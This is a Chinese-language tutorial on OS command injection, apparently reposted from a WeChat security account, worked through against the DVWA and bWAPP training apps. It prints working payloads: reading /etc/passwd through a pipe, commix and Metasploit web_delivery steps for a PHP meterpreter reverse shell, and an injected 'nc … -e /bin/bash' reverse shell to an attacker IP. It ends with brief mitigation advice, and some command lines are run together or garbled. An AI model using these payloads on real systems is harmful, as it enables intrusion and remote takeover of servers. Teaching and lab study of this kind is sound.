操作系统命令注入综合指南

admin 2024年12月24日11:03:10评论21 views字数 5249阅读17分29秒阅读模式

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

如果您有权通过托管的 Web 应用程序直接在目标服务器上运行任何系统命令,那不是很棒吗?或者您只需单击几下即可获得反向 shell?在本文中,我们将了解 OS 命令注入,攻击者可以通过易受攻击的 Web 应用程序在托管操作系统上触发一些任意系统 shell 命令。

介绍

命令注入也称为 Shell 注入或 OS 注入。当攻击者试图直接通过易受攻击的应用程序执行系统级命令以检索 Web 服务器的信息或尝试对服务器进行未经授权的访问时,就会发生这种情况。只有当用户提供的数据在传递到服务器之前未经过适当验证时,才会发生此类攻击。此用户数据可以是任何形式,例如表单、cookie、HTTP 标头等。

命令注入是如何发生的?

在许多情况下,开发人员会尝试使用操作系统命令将某些功能添加到他们的 Web 应用程序中。但是,如果应用程序未经任何验证就将用户提供的输入直接传递给服务器,则应用程序可能会容易受到命令注入攻击。

为了清晰地了解情况,让我们考虑以下场景:

想象一下,一个 Web 应用程序提供这样的功能:任何用户都可以通过他的 Web 界面 ping 任何特定的 IP 地址以确认主机连接,这意味着该应用程序正在将带有该特定输入 IP 的ping命令直接传递给服务器。

操作系统命令注入综合指南
操作系统命令注入综合指南

元字符

元字符是用于将实际命令与不需要的系统命令分开的符号运算符。分号 (;) 和符号 (&) 主要用作分隔符,用于区分真实输入命令和我们试图注入的命令。

常用的元字符有:

操作系统命令注入综合指南

命令注入的类型

基于错误的注入:当攻击者通过输入参数注入命令,并且该命令的输出显示在特定网页上时,这证明应用程序容易受到命令注入的攻击。显示的结果可能是错误的形式,也可能是您尝试运行的命令的实际结果。然后,攻击者根据 Web 服务器的 shell 修改和添加其他命令,并从应用程序中收集信息。

盲注:您注入的命令结果不会显示给攻击者,也不会返回任何错误消息。攻击者可能会使用其他技术来识别该命令是否真正在服务器上执行。

OS 命令注入漏洞是十大 OWASP漏洞之一。因此,让我们看看它的影响。

操作系统命令注入的影响

操作系统命令注入是最强大的漏洞之一,其“严重程度高,CVSS 评分为 8”

因此,此次注射报告如下:

  1. CWE-77:命令中使用的特殊元素中和不当。
  2. CWE-78:OS 命令中使用的特殊元素中和不当。

想知道如何利用此漏洞吗?让我们看看它的步骤:

漏洞利用步骤——操作系统命令注入

步骤 1:识别输入字段

第 2 步:了解功能

步骤 3:尝试 Ping 方法延时

步骤 4:使用各种运算符来利用操作系统命令注入

所以我想到目前为止,您可能对操作系统命令注入的概念及其方法有了清晰的认识。但在开始攻击之前,让我们再明确一点,即

命令注入不同于代码注入”,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。在命令注入中,攻击者扩展应用程序的默认功能,即执行系统命令,而无需注入代码。来源:

https://www.owasp.org/index.php/Command_Injection

开始吧!

基本操作系统命令注入

我在浏览器中打开目标 IP,以admin : password 身份登录 DVWA ,在 DVWA 安全选项中,我将安全级别设置为低。现在,我选择了窗口左侧的命令注入漏洞。

我看到了一个存在操作系统命令注入漏洞的表单,要求“输入 IP 地址:”。

从下图中您可以看到,我尝试通过输入127.0.0.1 来 ping 其本地主机,因此我得到了输出结果。

操作系统命令注入综合指南
为了执行“基本操作系统命令注入攻击”,我使用“;(分号)”作为元字符,并输入另一个任意命令,即“ls”
127.0.0.1;ls
操作系统命令注入综合指南
从下图中你可以看到“;”
元字符发挥了作用,我们能够列出应用程序实际所在目录的内容。同样,我们可以运行其他系统命令,例如“;pwd”、“;id”等。
操作系统命令注入综合指南

绕过黑名单实施

很多时候,开发人员会设置常用元字符的黑名单,例如  “&”“;”“&&”“||”“#”等,以保护他们的 Web 应用程序免受命令注入漏洞的影响。

因此,为了绕过这个黑名单,我们需要尝试开发人员忘记添加的所有不同的元字符。

我把安全级别提高得太高并尝试了所有不同的元字符组合。

操作系统命令注入综合指南
从上图可以看出我使用元字符
“|”成功获取了密码文件。
127.0.0.1 |cat /etc/passwd

使用 BurpSuite 进行命令注入

Burpsuite 被认为是最好的、最强大的 Web 渗透测试工具之一。因此,我们将尝试通过它破坏 Web 应用程序。

我现在已经通过在浏览器中运行目标的 IP来使用bee:bug登录 bWAPP,甚至将安全级别设置中等,并将“选择您的 bug ”选项设置为“ OS 命令注入”。

操作系统命令注入综合指南
让我们尝试通过单击查找按钮来枚举此“ 
DNS查找”表单,然后在代理选项卡中简单地捕获浏览器的请求并将其发送到中继器。
操作系统命令注入综合指南

现在我只需要在元字符的帮助下添加一些系统命令(即“pwd ”)来操纵目标。

其中我使用“|”作为分隔符,您可以选择您自己的。

当我单击“Go”选项卡时,响应就开始生成,并且在窗口的右侧您可以看到我已经捕获了工作目录。

操作系统命令注入综合指南

模糊测试

在最后一种情况下,在绕过已实施的黑名单时,我们很幸运,开发人员已经创建并设置了具有有限元字符组合的列表。但仍然需要时间来检查元字符的所有可能组合。因此,很明显,此元字符不适用于每个 Web 应用程序,因此为了绕过这些以不同方式生成的黑名单,我们将进行模糊测试攻击。

让我们来看看怎么样!!

我已经创建了一个包含所有可能元字符组合的字典,现在只需将其包含到我的攻击中即可。

调整您的burp suite并开始拦截请求,一旦您捕获正在进行的请求,只需右键单击代理选项卡并选择发送给入侵者的选项,即可将其发送给入侵者。

操作系统命令注入综合指南
现在,我们只需将当前选项卡移动到“位置”选项卡,然后使用
“添加”
按钮选择我们想要发起攻击的区域即可设置攻击位置
操作系统命令注入综合指南
现在是注入字典的时间了,现在移动到
“Payload”选项卡并单击“加载”
按钮以加载我们的字典文件。
操作系统命令注入综合指南

当我启动“开始攻击”按钮时,就会弹出一个带有模糊测试攻击的新窗口。

从下面的截图中可以清楚地看到我们的攻击已经开始,长度部分出现了波动。我双击了长度字段,以便首先获取最高值。

操作系统命令注入综合指南
从下图中,您可以看到,只要我单击第11 个请求,我就能够检测到响应选项卡中正在运行的ls命令。
操作系统命令注入综合指南
操作系统命令注入综合指南

使用 Commix 进行操作系统命令注入

有时模糊测试会耗费大量时间,甚至在对其进行命令注入攻击时也会变得有些令人沮丧,即等待增加的长度并检查它丢弃的每个可能的响应。

为了使我们的攻击更简单、更快捷,我们将使用 Python 脚本自动化工具“Commix”,它可以非常轻松地找到命令注入漏洞,然后帮助我们利用它。您可以此处了解有关Commix 的更多信息

因此,让我们尝试通过在 kali 机器中获取 commix 会话再次关闭 web 应用程序。

从下图中您可以看到我将安全级别设置得太高并将“选择您的错误”选项选为“OS 命令注入”。

操作系统命令注入综合指南

Commix 依靠cookie 工作。因此,为了获取它们,我将通过启用代理和拦截选项将浏览器的请求捕获到我的 burpsuite 中,然后当我点击“查找”按钮时,我将在 burpsuite 的“代理”选项卡中看到详细信息

操作系统命令注入综合指南
使用commix
启动 Kali 终端并使用
Referer、Cookie 和目标值
运行以下命令
commix --url="http://192.168.0.11/bWAPP/commandi.php" --cookie="security_level=2; PHPSESSID=cc91040cc70b9abdb2fdc637527bf132" --data="target=www.nsa.gov&form=submit"
输入‘y’来恢复经典注入点和伪终端shell。
操作系统命令注入综合指南

太棒了!我们进入了目标机器。

如果我们可以将这个commix shell转换成meterpreter shell 会怎么样?

一旦我们捕获 commix 会话,我们将尝试通过执行以下命令来生成目标机器的反向 meterpreter 会话:

reverse_tcpset lhost 192.168.0.9set lport 4444

当我们按下回车键时,它会要求我们选择是使用netcat shell 还是其他(meterpreter) shell。选择选项2,然后再次按下回车键

现在你将会弹出一个新的会话列表,询问你想要哪个 meterpreter 会话,例如你想要它是 PHP、Windows、python 还是其他。由于我们的目标服务器运行在 PHP 框架上,我们将选择选项8,即PHP meterpreter 反向 shell。

操作系统命令注入综合指南
一切完成后,它将为我们提供一个带有执行命令的资源文件。打开一个新的终端窗口并在那里输入所显示的命令,在我们的例子中,它生成了以下命令:
msfconsole -/usr/share/commix/php_meterpreter.rc
太棒了!!很高兴看到我们的 commix 会议现在有了一些新侧翼。
操作系统命令注入综合指南

使用 Metasploit 进行操作系统命令注入

如果我们可以直接通过 Metasploit 框架获得 meterpreter 会话,那么为什么还要花这么长时间去获取它呢?

让我们看看如何

通过运行简单命令“ msfconsole”Metasploit 框架启动到您的 kali 终端。

有很多不同的方法可以为我们提供预期的结果,但我们将使用web_delivery 漏洞来找到将恶意负载传输到远程机器的方法。

输入以下命令来生成我们的有效载荷:

use exploit/multi/script/web_delivery

现在是时候选择我们的目标了。

输入“show goals”以获取所有内置目标选项的完整列表。

set target 1set payload php/meterpreter/reverse_tcpset lhost 192.168.0.9set lport 2222exploit
输入exploit后,只要按下回车键, Metasploit框架就会生成包含所有基本要素的有效载荷。
操作系统命令注入综合指南

我们快完成了,只需使用任何元字符将此有效负载包含在命令中即可。

这里我使用了& ( ampercent ),以便服务器相继执行两个命令。

操作系统命令注入综合指南
从下图中您可以看到我们再次进入目标系统,但这次我们在 Metasploit 会话中更加强大。
操作系统命令注入综合指南

盲操作系统命令注入

所以到目前为止,我们很幸运,因为 Web 应用程序通过其 HTTP 响应直接在屏幕上返回命令的输出。但在许多情况下,应用程序不会返回任何内容,但仍会在其后端进程中运行一些系统命令。因此问题出现了——这样的 Web 应用程序是否容易受到命令注入攻击?

让我们尝试使用最可靠的方法来解决这个问题,即延时 ping 命令,它将检测应用程序是否遭受命令注入。

检测盲操作系统命令注入

我现在已经登录 bWAPP 并选择“选择你的错误”选项为“OS 命令注入 - 盲”,进一步将安全级别设置为中等。

因此我被重定向到存在命令注入漏洞的 Web 应用程序。

让我们检查一下,这个应用程序是否真的受到了操作系统命令注入的攻击。

在提供的字段中输入任何IP 地址并打开您的 burpsuite 监视器以捕获正在进行的http 请求,从而将其全部转发到中继器选项卡。

操作系统命令注入综合指南
现在我们将尝试使用以下方式操纵请求
ping –c 10 192.168.0.9
当我点击“Go”选项卡时,大约需要10 秒钟
才能显示响应结果,从而确认该 Web 应用程序正遭受 OS 命令注入的攻击。
操作系统命令注入综合指南

利用 Netcat 进行盲操作系统命令注入

到目前为止,我们确认我们尝试浏览的应用程序存在命令注入漏洞。让我们尝试使用netcat 生成反向 shell 来触发此 Web 应用程序。

从下图中你可以看到,我检查了我的 Kali 机器的IP 地址,并使用以下命令在端口号2000处设置了netcat 监听器

nc –lvp 2000
其中l = 监听,v = 详细模式,p = 端口。
操作系统命令注入综合指南

现在在 Web 应用程序上,我已将netcat系统命令与localhost命令注入到输入字段中,即

本地主机|nc 192.168.0.9 –e /bin/bash

–e /bin/bash授权 netcat 命令在监听机器上执行 bash shell

操作系统命令注入综合指南
太棒了!我们通过 kali 机器进入了受害者的 shell,现在可以从这里运行任何系统命令。
操作系统命令注入综合指南

缓解措施 – 操作系统命令注入

开发人员应该设置一些强大的服务器端验证代码,并实现一组白名单命令,只接受字母和数字,而不接受字符。

您可以从以下代码片段中检查所有这些,它可以保护 Web 应用程序免于暴露命令注入漏洞。

操作系统命令注入综合指南

避免应用程序直接调用操作系统命令,如果需要,开发人员可以使用内置 API 与操作系统进行交互。开发人员甚至应该确保应用程序必须在最低权限下运行。

原文始发于微信公众号(三沐数安):操作系统命令注入综合指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日11:03:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   操作系统命令注入综合指南https://cn-sec.com/archives/3545079.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息